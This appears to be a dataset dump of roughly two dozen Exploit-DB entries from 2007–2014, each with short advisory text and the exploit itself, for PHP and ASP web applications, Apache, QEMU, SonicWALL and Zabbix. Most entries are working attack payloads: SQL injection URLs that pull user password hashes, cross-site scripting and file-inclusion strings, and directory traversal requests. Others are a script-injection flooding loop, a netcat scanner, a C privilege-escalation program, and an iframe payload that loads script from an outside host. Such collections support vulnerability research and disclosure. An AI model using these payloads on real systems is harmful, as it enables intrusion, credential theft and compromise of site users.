QLWD/code_shield huggingface dataset:
标题: E-Xoops 1.0.5/1.0.8 - '/adresses/ratefile.php?lid' SQL Injection EDB-ID: 30862 CVE: 2007-6380 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26796/info
 
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/e-xoops/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30862
标题: DomPHP 0.83 - Local Directory Traversal EDB-ID: 30865 CVE: 2014-10037 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-12 漏洞利用脚本: -------------------------------------------------------------
DomPHP <= v0.83 Local Directory Traversal Vulnerability 
-------------------------------------------------------------
 
= Author : Houssamix                       
= Script : DomPHP <= v0.83
                    
= Download : http://www.domphp.com/download/  
            
= BUG :  Local Directory Traversal Vulnerability 
 
= Exploit :                               
http://[target]/photoalbum/index.php?urlancien=&url=[Directory]
                 
Exemple :      
http://target.com/photoalbum/index.php?urlancien=&url=../../ URL: https://www.exploit-db.com/exploits/30865
标题: E-Xoops 1.0.5/1.0.8 - '/mydownloads/ratefile.php?lid' SQL Injection EDB-ID: 30863 CVE: 2007-6380 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26796/info
  
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/e-xoops/modules/mydownloads/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30863
标题: webSPELL 4.1.2 - 'calendar.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30858 CVE: 2007-6309 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26787/info
 
webSPELL is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
webSPELL 4.01.02 is affected; other versions may also be vulnerable. 

http://www.example.com/[PATH]/index.php?site=calendar&action=announce&upID=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&tag=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&month=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&userID=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&year=">[your code] URL: https://www.exploit-db.com/exploits/30858
标题: webSPELL 4.1.2 - 'usergallery.php?galleryID' Cross-Site Scripting EDB-ID: 30857 CVE: 2007-6309 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26787/info

webSPELL is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

webSPELL 4.01.02 is affected; other versions may also be vulnerable. 

http://www.example.com/[PATH]/index.php?site=usergallery&action=upload&galleryID=">[your code] URL: https://www.exploit-db.com/exploits/30857
标题: wwwstats 3.21 - 'Clickstats.php' Multiple HTML Injection Vulnerabilities EDB-ID: 30854 CVE: 2007-6307 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26759/info

The 'wwwstats' program is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to wwwstats 3.22 are vulnerable. 

#!/bin/sh
#jolmos (at) isecauditors (dot) com

if [ $# -ne 4 ]
then
     echo "Usage:   $0 <target>
     <html or javascript to inject in downloads> <ranking position>"
     echo "Example: $0 http://www.example.com/wwwstats
     <script>window.location="http://www.example.com"</script> 100"
     exit
fi

echo 'Attacking, wait a moment'
for i in `seq 1 $3`; do curl "$1/clickstats.php?link=$2" -e 'attack'; done URL: https://www.exploit-db.com/exploits/30854
标题: E-Xoops 1.0.5/1.0.8 - '/mylinks/ratelink.php?lid' SQL Injection EDB-ID: 30861 CVE: 2007-6380 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26796/info

E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/e-xoops/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30861
标题: E-Xoops 1.0.5/1.0.8 - '/mysections/ratefile.php?lid' SQL Injection EDB-ID: 30864 CVE: 2007-6380 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26796/info
   
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
   
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/e-xoops/modules/mysections/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30864
标题: Absolute News Manager .NET 5.1 - 'getpath.aspx' Direct Request Error Message Information EDB-ID: 30845 CVE: 2007-6271 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/26692/info
    
Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.
    
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable.

Webroot PoC:
Requesting the &#039;getpath.aspx&#039; demo script discloses the physical path of the webroot - ie:
http://www.example.com/[CustomerDefinedDir]/getpath.aspx

 "
 Absolute News Manager Physical Path :
 D:\inetpub\www.example.com\[CustomerDefinedDir]\

 Please delete this file from your installation.
 " URL: https://www.exploit-db.com/exploits/30845
标题: Absolute News Manager .NET 5.1 - '/pages/default.aspx?template' Cross-Site Scripting EDB-ID: 30844 CVE: 2007-6270 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/26692/info
   
Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.
   
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable.
  
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=%3Cscript%3Ealert(2)%3C/script%3E URL: https://www.exploit-db.com/exploits/30844
标题: phpMyChat 0.14.5 - '/chat/users_popupL.php3' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30847 CVE: 2007-6297 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/26698/info
 
phpMyChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phpMyChat 0.14.5 is vulnerable; other versions may also be affected. 

http://www.example.com/mychat/chat/users_popupL.php3?From=..%2FphpMyChat.php3&L=english&LastCheck= 
"></STYLE><STYLE>@import"javascript:alert(&#039;This%20XSS%20Is%20Xss&#039;)";</STYLE>&#039;
=http://www.example.com/phpmychat/chat/users_popupL.php3?From=..%2FphpMyChat.php3&L=english&LastCheck=1196698786&B= 
>"><script>alert("This%20XSS%20Test%20Successful")</script> URL: https://www.exploit-db.com/exploits/30847
标题: SonicWALL Global VPN Client 4.0.782 - Remote Format String EDB-ID: 30840 CVE: 2007-6273 类型: DOS 平台: WINDOWS 发布日期: 2007-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/26689/info

SonicWALL Global VPN Client is prone to a remote format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the application. Failed attempts may cause denial-of-service conditions.

Versions prior to SonicWALL Global VPN Client 4.0.0.830 are affected. 

The following proof of concept was supplied:
<Connection name=> AAAAAAAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x
<HostName> BBBBBBBBBB%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x.%x.%x.%x.%x.%x URL: https://www.exploit-db.com/exploits/30840
标题: Joomla! Component Content 1.5 RC3 - 'view' SQL Injection EDB-ID: 30848 CVE: 2007-6272 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26707/info

Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! 1.5 RC3 is vulnerable; other versions may also be affected.

UPDATE (December 10, 2007): The validity of the issues is being disputed on the Joomla! Bug Tracker. Please see the references for details. Reports indicate that the related message was posted by a Joomla! developer, but this has not been confirmed. 

http://www.example.com/index.php?option=com_content&view=somechars'%20+%20'article&id=25&Itemid=28 URL: https://www.exploit-db.com/exploits/30848
标题: bcoos 1.0.10 - 'ratefile.php' SQL Injection EDB-ID: 30836 CVE: 2007-6275 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26664/info

The 'bcoos' program is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects bcoos 1.0.10; other versions may also be affected. 

http://www.example.com/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30836
标题: Absolute News Manager .NET 5.1 - 'xlaabsolutenm.aspx?rmore' Cross-Site Scripting EDB-ID: 30843 CVE: 2007-6270 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/26692/info
  
Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.
  
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable.
 
http://www.example.com/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=1,7&sort=articleID&ord=desc&rmore=%3Cscript%3Ealert(1)%3C/script%3E&size=2&h=abc&isframe=y URL: https://www.exploit-db.com/exploits/30843
标题: QEMU 0.9 - Translation Block Local Denial of Service EDB-ID: 30837 CVE: 2007-6227 类型: DOS 平台: LINUX 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26666/info

QEMU is prone to a local denial-of-service vulnerability because it fails to perform adequate boundary checks when handling user-supplied input.

Attackers can exploit this issue to cause denial-of-service conditions. Given the nature of the issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.

QEMU 0.9.0 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30837.rar URL: https://www.exploit-db.com/exploits/30837
标题: phpMyChat 0.14.5 - 'chat/deluser.php3?LIMIT' Cross-Site Scripting EDB-ID: 30846 CVE: 2007-6297 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/26698/info

phpMyChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpMyChat 0.14.5 is vulnerable; other versions may also be affected. 

http://www.example.com/phpmychat/chat/deluser.php3?L=english&Link=&LIMIT=>"&#039;><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;Successfull%26%23x20;XSS%26%23x20;Test%26%23x20;Here%26quot;)>&AUTH_USERNAME=&AUTH_PASSWORD= URL: https://www.exploit-db.com/exploits/30846
标题: Zabbix 1.1.4/1.4.2 - 'daemon_start' Local Privilege Escalation EDB-ID: 30839 CVE: 2007-6210 类型: LOCAL 平台: LINUX 发布日期: 2007-12-03 漏洞利用脚本: #include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <stdio.h>

int main() 
{
     struct passwd *pw;
     pw = getpwnam("abi");
     FILE *pipe;
     char buf[25];
     setgid(pw->pw_gid);
     setuid(pw->pw_uid);

     printf("my gid: %d\n", getegid());
     printf("my uid: %d\n", getuid());

     pipe = popen("/usr/bin/id", "r");
     while (fgets(buf, sizeof buf, pipe)) {
             printf("%s", buf);
     }
     printf("\n");
     pclose(pipe);
} URL: https://www.exploit-db.com/exploits/30839
标题: Joomla! Component com_search 1.5 RC3 - 'index.php' Multiple SQL Injections EDB-ID: 30849 CVE: 2007-6272 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26707/info
 
Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Joomla! 1.5 RC3 is vulnerable; other versions may also be affected.
 
UPDATE (December 10, 2007): The validity of the issues is being disputed on the Joomla! Bug Tracker. Please see the references for details. Reports indicate that the related message was posted by a Joomla! developer, but this has not been confirmed.
 
http://www.example.com/index.php?searchword=&task=somechars%27+%2B+%27search&option=com_search
http://www.example.com/index.php?searchword=&task=search&option=somechars%27+%2B+%27com_search URL: https://www.exploit-db.com/exploits/30849
标题: Absolute News Manager .NET 5.1 - '/pages/default.aspx?template' Remote File Access EDB-ID: 30841 CVE: 2007-6268 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/26692/info

Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.

Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable. 

http://www.example.com/[CustomerDefinedDir]/pages/default.aspx?a=1&template=../web.config
http://www.example.com/[CustomerDefinedDir]/pages/default.aspx?a=1&template=default.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../anmviewer.ascx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../default.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../PPL1HistoryTicker.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../xlagc.ascx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../xlaabsolutenm.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../streamconfig.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../articlefiles/r.asp%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00 URL: https://www.exploit-db.com/exploits/30841
标题: Ossigeno CMS 2.2_pre1 - '/upload/xax/ossigeno/admin/uninstall_module.php?level' Remote File Inclusion EDB-ID: 30830 CVE: 2007-6218 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26654/info
    
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/ossigeno/admin/uninstall_module.php?level=http://www.example2.com URL: https://www.exploit-db.com/exploits/30830
标题: Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting EDB-ID: 30835 CVE: 2007-6203 类型: REMOTE 平台: UNIX 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26663/info

Apache is prone to a cross-site scripting weakness when handling HTTP request methods that result in 413 HTTP errors.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.

Apache 2.0.46 through 2.2.4 are vulnerable; other versions may also be affected. 

#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
       echo "$0 <hosts-file>"
       exit
fi

for i in `cat $1`
do

if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: 
close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep 
-i '<PROCHECKUP>' > /dev/null
then
       echo "$i is VULNERABLE!"
fi

done URL: https://www.exploit-db.com/exploits/30835
标题: F5 Networks FirePass 4100 SSL VPN - 'Download_Plugin.php3' Cross-Site Scripting EDB-ID: 30834 CVE: 2007-6704 类型: REMOTE 平台: HARDWARE 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26661/info

F5 Networks FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

F5 FirePass 4100 SSL VPNs running these firmware versions are vulnerable:

5.4.1 through 5.5.2
6.0 through 6.0.1

https://target.tld/my.activation.php3?"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!-- URL: https://www.exploit-db.com/exploits/30834
标题: Ossigeno CMS 2.2_pre1 - '/upload/xax/admin/modules/uninstall_module.php?level' Remote File Inclusion EDB-ID: 30827 CVE: 2007-6218 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26654/info
 
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/modules/uninstall_module.php?level=http://www.example2.com URL: https://www.exploit-db.com/exploits/30827
标题: F5 Networks FirePass 4100 SSL VPN - 'My.Logon.php3' Cross-Site Scripting EDB-ID: 30833 CVE: 2007-6704 类型: REMOTE 平台: HARDWARE 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26659/info

F5 Networks FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

F5 Networks FirePass 4100 SSL VPNs running these firmware versions are vulnerable:

5.4.1 through 5.5.2
6.0
6.0.1 

<html>

<iframe src="https://www.example.com/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--" width="0%" height="0%" name="xss=document.body.appendChild(document.createElement(&#039;script&#039;));xss.setAttribute(&#039;src&#039;,&#039;http://www.example2.com/b&#039;)"></iframe>

</html>

-----------------------------------------------

Proof of concept (PoC) URL:

https://www.example.com/my.logon.php3?"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!--

The payload in the example is 

"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!--

which injects a &#039;textarea&#039; box URL: https://www.exploit-db.com/exploits/30833
标题: bcoos 1.0.10 - 'ratephoto.php' SQL Injection EDB-ID: 30823 CVE: 2007-6266 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/26629/info

The 'bcoos' program is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

These issues affect the application's arcade, myalbum, mylinks, and ecal modules.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect bcoos 1.0.10; other versions may also be affected. 

http://www.example.com/modules/myalbum/ratephoto.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30823